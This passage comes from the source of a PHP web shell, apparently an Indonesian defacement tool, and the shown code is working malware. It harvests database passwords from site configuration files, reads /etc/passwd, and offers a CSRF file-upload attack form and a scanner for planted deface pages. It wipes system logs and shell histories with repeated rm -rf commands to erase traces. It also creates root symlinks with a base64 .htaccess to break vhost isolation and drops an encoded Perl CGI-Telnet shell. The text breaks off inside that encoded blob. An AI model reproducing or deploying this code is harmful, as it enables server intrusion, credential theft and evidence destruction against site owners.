  1750. $db=entre2v2($uxl,"dbpass = \"","\";");
  1751. if(!empty($db))
  1752. $pass=$db."\n";
  1753. fwrite($ffile,$pass);
  1754. }
  1755. }
  1756. }
  1757. echo "<center>
  1758. <a href=\"tc_symconf/root/\">Root Server</a>
  1759. <br><a href=\"tc_symconf/Passwords.txt\">Passwords</a>
  1760. <br><a href=\"tc_symconf/\">Configurations</a></center>";
  1761. } else {
  1762. echo "<center>
  1763. <form method=\"POST\">
  1764. <textarea name=\"passwd\" class='area' rows='15' cols='60'>";
  1765. $file = '/etc/passwd';
  1766. $read = @fopen($file, 'r');
  1767. if ($read){
  1768. $body = @fread($read, @filesize($file));
  1769. echo "".htmlentities($body)."";
  1770. } elseif(!$read) {
  1771. $read = @show_source($file) ;
  1772. } elseif(!$read) {
  1773. $read = @highlight_file($file);
  1774. } elseif(!$read) {
  1775. for($uid=0;$uid<1000;$uid++) {
  1776. $ara = posix_getpwuid($uid);
  1777. if (!empty($ara)) {
  1778. while (list ($key, $val) = each($ara))
  1779. {
  1780. print "$val:";
  1781. }
  1782. print "\n";
  1783. }
  1784. }
  1785. }
  1786. flush();
  1787. echo "</textarea>
  1788. <p><input name=\"m\" size=\"80\" value=\"Start\" type=\"submit\"/></p>
  1789. </form></center>";
  1790. }
  1791. }
  1792. } elseif($_GET['d3n0l'] == 'csrf'){
  1793. echo '<center><br>
  1794. <font color="Orbitron" color="red" size="6">
  1795. CSRF EXPLOITER ONLINE
  1796. <center><font size="3">
  1797. <form method="POST">
  1798. URL: <input type="text" name="url" size="50" height="10" placeholder="http://www.target.com/[path]/upload.php" style="margin: 5px auto; padding-left: 5px;" required><br>
  1799. POST File: <input type="text" name="pf" size="50" height="10" placeholder="Filedata / dzupload / dzfile / dzfiles / file / ajaxfup / files[] / qqfile / userfile / etc" style="margin: 5px auto; padding-left: 5px;" required><br>
  1800. <input type="submit" name="d" value="Hajar!!!">
  1801. </form>';
  1802. @$url = $_POST['url'];
  1803. @$pf = $_POST['pf'];
  1804. @$d = $_POST['d'];
  1805. if($d){
  1806. echo "<form method='POST' target='_blank' action='$url' enctype='multipart/form-data'>
  1807. <input type='file' name='$pf'><input type='submit' name='g' value='Upload Cok!'></form>";
  1808. }
  1809. echo '</form>';
  1810. } elseif($_GET['d3n0l'] == 'bejibun'){
  1811. ob_start();
  1812. $cwd = getcwd();
  1813. $ambil_user = explode("/", $cwd);
  1814. $user = $ambil_user[2];
  1815. if($_POST['reverse']) {
  1816. $site = explode("\r\n", $_POST['url']);
  1817. $file = $_POST['file'];
  1818. foreach($site as $url) {
  1819. $cek = getsource("$url/~$user/$file");
  1820. if(preg_match("/hacked/i", $cek)) {
  1821. echo "URL: <a href='$url/~$user/$file' target='_blank'>$url/~$user/$file</a> ->
  1822. <font color='blue'>Fake Root!</font><br>";
  1823. }
  1824. }
  1825. } else {
  1826. echo "<center><form method='POST'>
  1827. Filename: <br><input type='text' name='file' placeholder='69.html' size='50' height='10'><br>
  1828. User: <br><input type='text' value='$user' size='50' height='10' readonly><br>
  1829. Domain: <br>
  1830. <textarea style='width: 450px; height: 250px;' name='url'>";
  1831. reverse($_SERVER['HTTP_HOST']);
  1832. echo "</textarea><br>
  1833. <input type='submit' name='reverse' value='Scan Fake Root!' style='width: 450px;'>
  1834. </form><br>
  1835. NB: Sebelum gunain Tools ini , upload dulu file deface kalian di dir /home/user/ dan /home/user/public_html.</center>";
  1836. }
  1837. } elseif($_GET['delete'] == 'logs'){
  1838. echo '<br><center><b><span>Delete Logs ( For Safe )</span></b><center><br>';
  1839. echo "<table style='margin: 0 auto;'><tr valign='top'><td align='left'>";
  1840. exec("rm -rf /tmp/logs");
  1841. exec("rm -rf /root/.ksh_history");
  1842. exec("rm -rf /root/.bash_history");
  1843. exec("rm -rf /root/.bash_logout");
  1844. exec("rm -rf /usr/local/apache/logs");
  1845. exec("rm -rf /usr/local/apache/log");
  1846. exec("rm -rf /var/apache/logs");
  1847. exec("rm -rf /var/apache/log");
  1848. exec("rm -rf /var/run/utmp");
  1849. exec("rm -rf /var/logs");
  1850. exec("rm -rf /var/log");
  1851. exec("rm -rf /var/adm");
  1852. exec("rm -rf /etc/wtmp");
  1853. exec("rm -rf /etc/utmp");
  1854. exec("rm -rf $HISTFILE");
  1855. exec("rm -rf /var/log/lastlog");
  1856. exec("rm -rf /var/log/wtmp");
  1857.  
  1858. shell_exec("rm -rf /tmp/logs");
  1859. shell_exec("rm -rf /root/.ksh_history");
  1860. shell_exec("rm -rf /root/.bash_history");
  1861. shell_exec("rm -rf /root/.bash_logout");
  1862. shell_exec("rm -rf /usr/local/apache/logs");
  1863. shell_exec("rm -rf /usr/local/apache/log");
  1864. shell_exec("rm -rf /var/apache/logs");
  1865. shell_exec("rm -rf /var/apache/log");
  1866. shell_exec("rm -rf /var/run/utmp");
  1867. shell_exec("rm -rf /var/logs");
  1868. shell_exec("rm -rf /var/log");
  1869. shell_exec("rm -rf /var/adm");
  1870. shell_exec("rm -rf /etc/wtmp");
  1871. shell_exec("rm -rf /etc/utmp");
  1872. shell_exec("rm -rf $HISTFILE");
  1873. shell_exec("rm -rf /var/log/lastlog");
  1874. shell_exec("rm -rf /var/log/wtmp");
  1875.  
  1876. passthru("rm -rf /tmp/logs");
  1877. passthru("rm -rf /root/.ksh_history");
  1878. passthru("rm -rf /root/.bash_history");
  1879. passthru("rm -rf /root/.bash_logout");
  1880. passthru("rm -rf /usr/local/apache/logs");
  1881. passthru("rm -rf /usr/local/apache/log");
  1882. passthru("rm -rf /var/apache/logs");
  1883. passthru("rm -rf /var/apache/log");
  1884. passthru("rm -rf /var/run/utmp");
  1885. passthru("rm -rf /var/logs");
  1886. passthru("rm -rf /var/log");
  1887. passthru("rm -rf /var/adm");
  1888. passthru("rm -rf /etc/wtmp");
  1889. passthru("rm -rf /etc/utmp");
  1890. passthru("rm -rf $HISTFILE");
  1891. passthru("rm -rf /var/log/lastlog");
  1892. passthru("rm -rf /var/log/wtmp");
  1893.  
  1894. system("rm -rf /tmp/logs");
  1895. sleep(2);
  1896. echo'<br>Deleting .../tmp/logs ';
  1897. sleep(2);
  1898.  
  1899. system("rm -rf /root/.bash_history");
  1900. sleep(2);
  1901. echo'<p>Deleting .../root/.bash_history </p>';
  1902.  
  1903. system("rm -rf /root/.ksh_history");
  1904. sleep(2);
  1905. echo'<p>Deleting .../root/.ksh_history </p>';
  1906.  
  1907. system("rm -rf /root/.bash_logout");
  1908. sleep(2);
  1909. echo'<p>Deleting .../root/.bash_logout </p>';
  1910.  
  1911. system("rm -rf /usr/local/apache/logs");
  1912. sleep(2);
  1913. echo'<p>Deleting .../usr/local/apache/logs </p>';
  1914.  
  1915. system("rm -rf /usr/local/apache/log");
  1916. sleep(2);
  1917. echo'<p>Deleting .../usr/local/apache/log </p>';
  1918.  
  1919. system("rm -rf /var/apache/logs");
  1920. sleep(2);
  1921. echo'<p>Deleting .../var/apache/logs </p>';
  1922.  
  1923. system("rm -rf /var/apache/log");
  1924. sleep(2);
  1925. echo'<p>Deleting .../var/apache/log </p>';
  1926.  
  1927. system("rm -rf /var/run/utmp");
  1928. sleep(2);
  1929. echo'<p>Deleting .../var/run/utmp </p>';
  1930.  
  1931. system("rm -rf /var/logs");
  1932. sleep(2);
  1933. echo'<p>Deleting .../var/logs </p>';
  1934.  
  1935. system("rm -rf /var/log");
  1936. sleep(2);
  1937. echo'<p>Deleting .../var/log </p>';
  1938.  
  1939. system("rm -rf /var/adm");
  1940. sleep(2);
  1941. echo'<p>Deleting .../var/adm </p>';
  1942.  
  1943. system("rm -rf /etc/wtmp");
  1944. sleep(2);
  1945. echo'<p>Deleting .../etc/wtmp </p>';
  1946.  
  1947. system("rm -rf /etc/utmp");
  1948. sleep(2);
  1949. echo'<p>Deleting .../etc/utmp </p>';
  1950.  
  1951. system("rm -rf $HISTFILE");
  1952. sleep(2);
  1953. echo'<p>Deleting ...$HISTFILE </p>';
  1954.  
  1955. system("rm -rf /var/log/lastlog");
  1956. sleep(2);
  1957. echo'<p>Deleting .../var/log/lastlog </p>';
  1958.  
  1959. system("rm -rf /var/log/wtmp");
  1960. sleep(2);
  1961. echo'<p>Deleting .../var/log/wtmp </p>';
  1962.  
  1963. sleep(4);
  1964.  
  1965. echo '<br><br><p>Your Traces Has Been Successfully Deleting ...From the Server';
  1966. echo"</td></tr></table>";
  1967. } elseif($_GET['bypass'] == 'vhosts') {
  1968. echo "<div id='menu'><center></br>
  1969. <a href='?path=$path&bypass=disablefunc'>Disable Functions</a></br>
  1970. <a href='?path=$path&bypass=passwd'>Bypass /etc/passwd</a></br>
  1971. <a href='?path=$path&bypass=vhostss'>Bypass Vhosts</a></br></div>";
  1972. echo "<form method='POST' action=''>";
  1973. echo "<center><br><font size='6'>Bypass Symlink vHost</font><br><br>";
  1974. echo "<center><input type='submit' value='Bypass it' name='Colii'></center>";
  1975. if (isset($_POST['Colii'])){
  1976. mkdir('symvhosts', 0755);
  1977. chdir('symvhosts');
  1978. system('ln -s / d3n0l.txt');
  1979. $fvckem ='T3B0aW9ucyBJbmRleGVzIEZvbGxvd1N5bUxpbmtzDQpEaXJlY3RvcnlJbmRleCBzc3Nzc3MuaHRtDQpBZGRUeXBlIHR4dCAucGhwDQpBZGRIYW5kbGVyIHR4dCAucGhw';
  1980. $file = fopen(".htaccess","w+");
  1981. $write = fwrite ($file ,base64_decode($fvckem));
  1982. $Bok3p = symlink("/","d3n0l.txt");
  1983. $rt="<br><a href=symvhosts/d3n0l.txt target='_blank'>
  1984. <font color=#ff0000 size=2 face='Courier New'><b>
  1985. Bypassed Successfully</b></font></a>";
  1986. echo "<br><br><b>Done.. !</b><br>
  1987. <br>Check link given below for / folder symlink <br>$rt<br>";
  1988. echo "Note: Apabila Forbidden pas buka /var/www/vhosts/Domain.com/ harap tambahkan httpdocs ex:/var/www/vhosts/Domain.com/httpdocs/</center>";
  1989. }
  1990. echo "</form>";
  1991. } elseif($_GET['d3n0l'] == 'cgi') {
  1992. $cgi_dir = mkdir('d3n0l_cgi', 0755);
  1993. chdir('d3n0l_cgi');
  1994. $file_cgi = "cgi.d3n0l";
  1995. $memeg = ".htaccess";
  1996. $isi_htcgi = "OPTIONS Indexes Includes ExecCGI FollowSymLinks \n AddType application/x-httpd-cgi .d3n0l \n AddHandler cgi-script .d3n0l \n AddHandler cgi-script .d3n0l";
  1997. $htcgi = fopen(".htaccess", "w");
  1998. $cgi_script = "IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluDQp1c2UgTUlNRTo6QmFzZTY0Ow0KJFZlcnNpb249ICJDR0ktVGVsbmV0IFZlcnNpb24gMS4zIjsNCiRFZGl0UGVyc2lvbj0iPGZvbnQgc3R5bGU9J3RleHQtc2hhZG93OiAwcHggMHB4IDZweCByZ2IoMjU1LCAwLCAwKSwgMHB4IDBweCA1cHggcmdiKDMwMCwgMCwgMCksIDBweCAwcHggNXB4IHJnYigzMDAsIDAsIDApOyBjb2xvcjojZmZmZmZmOyBmb250LXdlaWdodDpib2xkOyc+YjM3NGsgLSBDR0ktVGVsbmV0PC9mb250PiI7DQoNCiRQYXNzd29yZCA9ICJ4YWlzeW5kaWNhdGUiOwkJCSMgQ2hhbmdlIHRoaXMuIFlvdSB3aWxsIG5lZWQgdG8gZW50ZXIgdGhpcyB0byBsb2dpbi4NCnN1YiBJc19XaW4oKXsNCgkkb3MgPSAmdHJpbSgkRU5WeyJTRVJWRVJfU09GVFdBUkUifSk7DQoJaWYoJG9zID1+IG0vd2luL2kpew0KCQlyZXR1cm4gMTsNCgl9DQoJZWxzZXsNCgkJcmV0dXJuIDA7DQoJfQ0KfQ0KJFdpbk5UID0gJklzX1dpbigpOwkJCQkjIFlvdSBuZWVkIHRvIGNoYW5nZSB0aGUgdmFsdWUgb2YgdGhpcyB0byAxIGlmDQoJCQkJCQkJCSMgeW91J3JlIHJ1bm5pbmcgdGhpcyBzY3JpcHQgb24gYSBXaW5kb3dzIE5UDQoJCQkJCQkJCSMgbWFjaGluZS4gSWYgeW91J3JlIHJ1bm5pbmcgaXQgb24gVW5peCwgeW91DQoJCQkJCQkJCSMgY2FuIGxlYXZlIHRoZSB2YWx1ZSBhcyBpdCBpcy4NCg0KJE5UQ21kU2VwID0gIiYiOwkJCQkjIFRoaXMgY2hhcmFjdGVyIGlzIHVzZWQgdG8gc2VwZXJhdGUgMiBjb21tYW5kcw0KCQkJCQkJCQkjIGluIGEgY29tbWFuZCBsaW5lIG9uIFdpbmRvd3MgTlQuDQoNCiRVbml4Q21kU2VwID0gIjsiOwkJCQkjIFRoaXMgY2hhcmFjdGVyIGlzIHVzZWQgdG8gc2VwZXJhdGUgMiBjb21tYW5kcw0KCQkJCQkJCQkjIGluIGEgY29tbWFuZCBsaW5lIG9uIFVuaXguDQoNCiRDb21tYW5kVGltZW91dER1cmF0aW9uID0gMTAwMDA7CSMgVGltZSBpbiBzZWNvbmRzIGFmdGVyIGNvbW1hbmRzIHdpbGwgYmUga2lsbGVkDQoJCQkJCQkJCSMgRG9uJ3Qgc2V0IHRoaXMgdG8gYSB2ZXJ5IGxhcmdlIHZhbHVlLiBUaGlzIGlzDQoJCQkJCQkJCSMgdXNlZnVsIGZvciBjb21tYW5kcyB0aGF0IG1heSBoYW5nIG9yIHRoYXQNCgkJCQkJCQkJIyB0YWtlIHZlcnkgbG9uZyB0byBleGVjdXRlLCBsaWtlICJmaW5kIC8iLg0KCQkJCQkJCQkjIFRoaXMgaXMgdmFsaWQgb25seSBvbiBVbml4IHNlcnZlcnMuIEl0IGlzDQoJCQkJCQkJCSMgaWdub3JlZCBvbiBOVCBTZXJ2ZXJzLg0KDQokU2hvd0R5bmFtaWNPdXRwdXQgPSAxOwkJCSMgSWYgdGhpcyBpcyAxLCB0aGVuIGRhdGEgaXMgc2VudCB0byB0aGUNCgkJCQkJCQkJIyBicm93c2VyIGFzIHNvb24gYXMgaXQgaXMgb3V0cHV0LCBvdGhlcndpc2UNCgkJCQkJCQkJIyBpdCBpcyBidWZmZXJlZCBhbmQgc2VuZCB3aGVuIHRoZSBjb21tYW5kDQoJCQkJCQkJCSMgY29tcGxldGVzLiBUaGlzIGlzIHVzZWZ1bCBmb3IgY29tbWFuZHMgbGlrZQ0KCQkJCQkJCQkjIHBpbmcsIHNvIHRoYXQgeW91IGNhbiBzZWUgdGhlIG91dHB1dCBhcyBpdA0KCQkJCQkJCQkjIGlzIGJlaW5nIGdlbmVyYXRlZC4NCg0KIyBET04nVCBDSEFOR0UgQU5ZVEhJTkcgQkVMT1cgVEhJUyBMSU5FIFVOTEVTUyBZT1UgS05PVyBXSEFUIFlPVSdSRSBET0lORyAhIQ0KDQokQ21kU2VwID0gKCRXaW5OVCA/ICROVENtZFNlcCA6ICRVbml4Q21kU2VwKTsNCiRDbWRQd2QgPSAoJFdpbk5UID8gImNkIiA6ICJwd2QiKTsNCiRQYXRoU2VwID0gKCRXaW5OVCA/ICJcXCIgOiAiLyIpOw0KJFJlZGlyZWN0b3IgPSAoJFdpbk5UID8gIiAyPiYxIDE+JjIiIDogIiAxPiYxIDI+JjEiKTsNCiRjb2xzPSAxNTA7DQokcm93cz0gMjY7DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFJlYWRzIHRoZSBpbnB1dCBzZW50IGJ5IHRoZSBicm93c2VyIGFuZCBwYXJzZXMgdGhlIGlucHV0IHZhcmlhYmxlcy4gSXQNCiMgcGFyc2VzIEdFVCwgUE9TVCBhbmQgbXVsdGlwYXJ0L2Zvcm0tZGF0YSB0aGF0IGlzIHVzZWQgZm9yIHVwbG9hZGluZyBmaWxlcy4NCiMgVGhlIGZpbGVuYW1lIGlzIHN0b3JlZCBpbiAkaW57J2YnfSBhbmQgdGhlIGRhdGEgaXMgc3RvcmVkIGluICRpbnsnZmlsZWRhdGEnfS4NCiMgT3RoZXIgdmFyaWFibGVzIGNhbiBiZSBhY2Nlc3NlZCB1c2luZyAkaW57J3Zhcid9LCB3aGVyZSB2YXIgaXMgdGhlIG5hbWUgb2YNCiMgdGhlIHZhcmlhYmxlLiBOb3RlOiBNb3N0IG9mIHRoZSBjb2RlIGluIHRoaXMgZnVuY3Rpb24gaXMgdGFrZW4gZnJvbSBvdGhlciBDR0kNCiMgc2NyaXB0cy4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBSZWFkUGFyc2UgDQp7DQoJbG9jYWwgKCppbikgPSBAXyBpZiBAXzsNCglsb2NhbCAoJGksICRsb2MsICRrZXksICR2YWwpOw0KCQ0KCSRNdWx0aXBhcnRGb3JtRGF0YSA9ICRFTlZ7J0NPTlRFTlRfVFlQRSd9ID1+IC9tdWx0aXBhcnRcL2Zvcm0tZGF0YTsgYm91bmRhcnk9KC4rKSQvOw0KDQoJaWYoJEVOVnsnUkVRVUVTVF9NRVRIT0QnfSBlcSAiR0VUIikNCgl7DQoJCSRpbiA9ICRFTlZ7J1FVRVJZX1NUUklORyd9Ow0KCX0NCgllbHNpZigkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICJQT1NUIikNCgl7DQoJCWJpbm1vZGUoU1RESU4pIGlmICRNdWx0aXBhcnRGb3JtRGF0YSAmICRXaW5OVDsNCgkJcmVhZChTVERJTiwgJGluLCAkRU5WeydDT05URU5UX0xFTkdUSCd9KTsNCgl9DQoNCgkjIGhhbmRsZSBmaWxlIHVwbG9hZCBkYXRhDQoJaWYoJEVOVnsnQ09OVEVOVF9UWVBFJ30gPX4gL211bHRpcGFydFwvZm9ybS1kYXRhOyBib3VuZGFyeT0oLispJC8pDQoJew0KCQkkQm91bmRhcnkgPSAnLS0nLiQxOyAjIHBsZWFzZSByZWZlciB0byBSRkMxODY3IA0KCQlAbGlzdCA9IHNwbGl0KC8kQm91bmRhcnkvLCAkaW4pOyANCgkJJEhlYWRlckJvZHkgPSAkbGlzdFsxXTsNCgkJJEhlYWRlckJvZHkgPX4gL1xyXG5cclxufFxuXG4vOw0KCQkkSGVhZGVyID0gJGA7DQoJCSRCb2R5ID0gJCc7DQogCQkkQm9keSA9fiBzL1xyXG4kLy87ICMgdGhlIGxhc3QgXHJcbiB3YXMgcHV0IGluIGJ5IE5ldHNjYXBlDQoJCSRpbnsnZmlsZWRhdGEnfSA9ICRCb2R5Ow0KCQkkSGVhZGVyID1+IC9maWxlbmFtZT1cIiguKylcIi87IA0KCQkkaW57J2YnfSA9ICQxOyANCgkJJGlueydmJ30gPX4gcy9cIi8vZzsNCgkJJGlueydmJ30gPX4gcy9ccy8vZzsNCg0KCQkjIHBhcnNlIHRyYWlsZXINCgkJZm9yKCRpPTI7ICRsaXN0WyRpXTsgJGkrKykNCgkJeyANCgkJCSRsaXN0WyRpXSA9fiBzL14uK25hbWU9JC8vOw0KCQkJJGxpc3RbJGldID1+IC9cIihcdyspXCIvOw0KCQkJJGtleSA9ICQxOw0KCQkJJHZhbCA9ICQnOw0KCQkJJHZhbCA9fiBzLyheKFxyXG5cclxufFxuXG4pKXwoXHJcbiR8XG4kKS8vZzsNCgkJCSR2YWwgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7DQoJCQkkaW57JGtleX0gPSAkdmFsOyANCgkJfQ0KCX0NCgllbHNlICMgc3RhbmRhcmQgcG9zdCBkYXRhICh1cmwgZW5jb2RlZCwgbm90IG11bHRpcGFydCkNCgl7DQoJCUBpbiA9IHNwbGl0KC8mLywgJGluKTsNCgkJZm9yZWFjaCAkaSAoMCAuLiAkI2luKQ0KCQl7DQoJCQkkaW5bJGldID1+IHMvXCsvIC9nOw0KCQkJKCRrZXksICR2YWwpID0gc3BsaXQoLz0vLCAkaW5bJGldLCAyKTsNCgkJCSRrZXkgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7DQoJCQkkdmFsID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOw0KCQkJJGlueyRrZXl9IC49ICJcMCIgaWYgKGRlZmluZWQoJGlueyRrZXl9KSk7DQoJCQkkaW57JGtleX0gLj0gJHZhbDsNCgkJfQ0KCX0NCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIEhUTUwgUGFnZSBIZWFkZXINCiMgQXJndW1lbnQgMTogRm9ybSBpdGVtIG5hbWUgdG8gd2hpY2ggZm9jdXMgc2hvdWxkIGJlIHNldA0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50UGFnZUhlYWRlcg0Kew0KCSRFbmNvZGVkQ3VycmVudERpciA9ICRDdXJyZW50RGlyOw0KCSRFbmNvZGVkQ3VycmVudERpciA9fiBzLyhbXmEtekEtWjAtOV0pLyclJy51bnBhY2soIkgqIiwkMSkvZWc7DQoJbXkgJGRpciA9JEN1cnJlbnREaXI7DQoJJGRpcj1+IHMvXFwvXFxcXC9nOw0KCXByaW50ICJDb250ZW50LXR5cGU6IHRleHQvaHRtbFxuXG4iOw0KCXByaW50IDw8RU5EOw0KPGh0bWw+DQo8aGVhZD4NCjxtZXRhIGh0dHAtZXF1aXY9ImNvbnRlbnQtdHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PVVURi04Ij4NCjx0aXRsZT5IYWNzdWdpYTwvdGl0bGU+DQoNCiRIdG1sTWV0YUhlYWRlcg0KDQo8L2hlYWQ+DQo8c3R5bGU+DQpib2R5ew0KZm9udDogMTBwdCBWZXJkYW5hOw0KfQ0KdHIgew0KQk9SREVSLVJJR0hUOiAgIzNlM2UzZSAxcHggc29saWQ7DQpCT1JERVItVE9QOiAgICAjM2UzZTNlIDFweCBzb2xpZDsNCkJPUkRFUi1MRUZUOiAgICMzZTNlM2UgMXB4IHNvbGlkOw0KQk9SREVSLUJPVFRPTTogIzNlM2UzZSAxcHggc29saWQ7DQpjb2xvcjogI2ZmOTkwMDsNCn0NCnRkIHsNCkJPUkRFUi1SSUdIVDogICMzZTNlM2UgMXB4IHNvbGlkOw0KQk9SREVSLVRPUDogICAgIzNlM2UzZSAxcHggc29saWQ7DQpCT1JERVItTEVGVDogICAjM2UzZTNlIDFweCBzb2xpZDsNCkJPUkRFUi1CT1RUT006ICMzZTNlM2UgMXB4IHNvbGlkOw0KY29sb3I6ICMyQkE4RUM7DQpmb250OiAxMHB0IFZlcmRhbmE7DQp9DQoNCnRhYmxlIHsNCkJPUkRFUi1SSUdIVDogICMzZTNlM2UgMXB4IHNvbGlkOw0KQk9SREVSLVRPUDogICAgIzNlM2UzZSAxcHggc29saWQ7DQpCT1JERVItTEVGVDogICAjM2UzZTNlIDFweCBzb2xpZDsNCkJPUkRFUi1CT1RUT006ICMzZTNlM2UgMXB4IHNvbGlkOw0KQkFDS0dST1VORC1DT0xPUjogIzExMTsNCn0NCg0KDQppbnB1dCB7DQpCT1JERVItUklHSFQ6ICAjM2UzZTNlIDFweCBzb2xpZDsNCkJPUkRFUi1UT1A6ICAgICMzZTNlM2UgMXB4IHNvbGlkOw0KQk9SREVSLUxFRlQ6ICAgIzNlM2UzZSAxcHggc29saWQ7DQpCT1JERVItQk9UVE9NOiAjM2UzZTNlIDFweCBzb2xpZDsNCkJBQ0tHUk9VTkQtQ09MT1I6IEJsYWNrOw0KZm9udDogMTBwdCBWZXJkYW5hOw0KY29sb3I6ICNmZjk5MDA7DQp9DQoNCmlucHV0LnN1Ym1pdCB7DQp0ZXh0LXNoYWRvdzogMHB0IDBwdCAwLjNlbSBjeWFuLCAwcHQgMHB0IDAuM2VtIGN5YW47DQpjb2xvcjogI0ZGRkZGRjsNCmJvcmRlci1jb2xvcjogIzAwOTkwMDsNCn0NCg0KY29kZSB7DQpib3JkZXIJCQk6IGRhc2hlZCAwcHggIzMzMzsNCkJBQ0tHUk9VTkQtQ09MT1I6IEJsYWNrOw0KZm9udDogMTBwdCBWZXJkYW5hIGJvbGQ7DQpjb2xvcjogd2hpbGU7DQp9DQoNCnJ1biB7DQpib3JkZXIJCQk6IGRhc2hlZCAwcHggIzMzMzsNCmZvbnQ6IDEwcHQgVmVyZGFuYSBib2xkOw0KY29sb3I6ICNGRjAwQUE7DQp9DQoNCnRleHRhcmVhIHsNCkJPUkRFUi1SSUdIVDogICMzZTNlM2UgMXB4IHNvbGlkOw0KQk9SREVSLVRPUDogICAgIzNlM2UzZSAxcHggc29saWQ7DQpCT1JERVItTEVGVDogICAjM2UzZTNlIDFweCBzb2xpZDsNCkJPUkRFUi1CT1RUT006ICMzZTNlM2UgMXB4IHNvbGlkOw0KQkFDS0dST1VORC1DT0xPUjogIzFiMWIxYjsNCmZvbnQ6IEZpeGVkc3lzIGJvbGQ7DQpjb2xvcjogI2FhYTsNCn0NCkE6bGluayB7DQoJQ09MT1I6ICMyQkE4RUM7IFRFWFQtREVDT1JBVElPTjogbm9uZQ0KfQ0KQTp2aXNpdGVkIHsNCglDT0xPUjogIzJCQThFQzsgVEVYVC1ERUNPUkFUSU9OOiBub25lDQp9DQpBOmhvdmVyIHsNCgl0ZXh0LXNoYWRvdzogMHB0IDBwdCAwLjNlbSBjeWFuLCAwcHQgMHB0IDAuM2VtIGN5YW47DQoJY29sb3I6ICNmZjk5MDA7IFRFWFQtREVDT1JBVElPTjogbm9uZQ0KfQ0KQTphY3RpdmUgew0KCWNvbG9yOiBSZWQ7IFRFWFQtREVDT1JBVElPTjogbm9uZQ0KfQ0KDQoubGlzdGRpciB0cjpob3ZlcnsNCgliYWNrZ3JvdW5kOiAjNDQ0Ow0KfQ0KLmxpc3RkaXIgdHI6aG92ZXIgdGR7DQoJYmFja2dyb3VuZDogIzQ0NDsNCgl0ZXh0LXNoYWRvdzogMHB0IDBwdCAwLjNlbSBjeWFuLCAwcHQgMHB0IDAuM2VtIGN5YW47DQoJY29sb3I6ICNGRkZGRkY7IFRFWFQtREVDT1JBVElPTjogbm9uZTsNCn0NCi5ub3RsaW5lew0KCWJhY2tncm91bmQ6ICMxMTE7DQp9DQoubGluZXsNCgliYWNrZ3JvdW5kOiAjMjIyOw0KfQ0KPC9zdHlsZT4NCjxzY3JpcHQgbGFuZ3VhZ2U9ImphdmFzY3JpcHQiPg0KZnVuY3Rpb24gY2htb2RfZm9ybShpLGZpbGUpDQp7DQoJLyp2YXIgYWpheD0nYWpheF9Qb3N0RGF0YSgiRm9ybVBlcm1zXycraSsnIiwiJFNjcmlwdExvY2F0aW9uIiwiUmVzcG9uc2VEYXRhIik7IHJldHVybiBmYWxzZTsnOyovDQoJdmFyIGFqYXg9IiI7DQoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIkZpbGVQZXJtc18iK2kpLmlubmVySFRNTD0iPGZvcm0gbmFtZT1Gb3JtUGVybXNfIiArIGkrICIgYWN0aW9uPScgbWV0aG9kPSdQT1NUJz48aW5wdXQgaWQ9dGV4dF8iICsgaSArICIgIG5hbWU9Y2htb2QgdHlwZT10ZXh0IHNpemU9NSAvPjxpbnB1dCB0eXBlPXN1Ym1pdCBjbGFzcz0nc3VibWl0JyBvbmNsaWNrPSciICsgYWpheCArICInIHZhbHVlPU9LPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9J2d1aSc+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZCB2YWx1ZT0nJGRpcic+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZiB2YWx1ZT0nIitmaWxlKyInPjwvZm9ybT4iOw0KCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJ0ZXh0XyIgKyBpKS5mb2N1cygpOw0KfQ0KZnVuY3Rpb24gcm1fY2htb2RfZm9ybShyZXNwb25zZSxpLHBlcm1zLGZpbGUpDQp7DQoJcmVzcG9uc2UuaW5uZXJIVE1MID0gIjxzcGFuIG9uY2xpY2s9XFxcImNobW9kX2Zvcm0oIiArIGkgKyAiLCciKyBmaWxlKyAiJylcXFwiID4iKyBwZXJtcyArIjwvc3Bhbj48L3RkPiI7DQp9DQpmdW5jdGlvbiByZW5hbWVfZm9ybShpLGZpbGUsZikNCnsNCgl2YXIgYWpheD0iIjsNCglmLnJlcGxhY2UoL1xcXFwvZywiXFxcXFxcXFwiKTsNCgl2YXIgYmFjaz0icm1fcmVuYW1lX2Zvcm0oIitpKyIsXFxcIiIrZmlsZSsiXFxcIixcXFwiIitmKyJcXFwiKTsgcmV0dXJuIGZhbHNlOyI7DQoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIkZpbGVfIitpKS5pbm5lckhUTUw9Ijxmb3JtIG5hbWU9Rm9ybVBlcm1zXyIgKyBpKyAiIGFjdGlvbj0nIG1ldGhvZD0nUE9TVCc+PGlucHV0IGlkPXRleHRfIiArIGkgKyAiICBuYW1lPXJlbmFtZSB0eXBlPXRleHQgdmFsdWU9ICciK2ZpbGUrIicgLz48aW5wdXQgdHlwZT1zdWJtaXQgY2xhc3M9J3N1Ym1pdCcgb25jbGljaz0nIiArIGFqYXggKyAiJyB2YWx1ZT1PSz48aW5wdXQgdHlwZT1zdWJtaXQgY2xhc3M9J3N1Y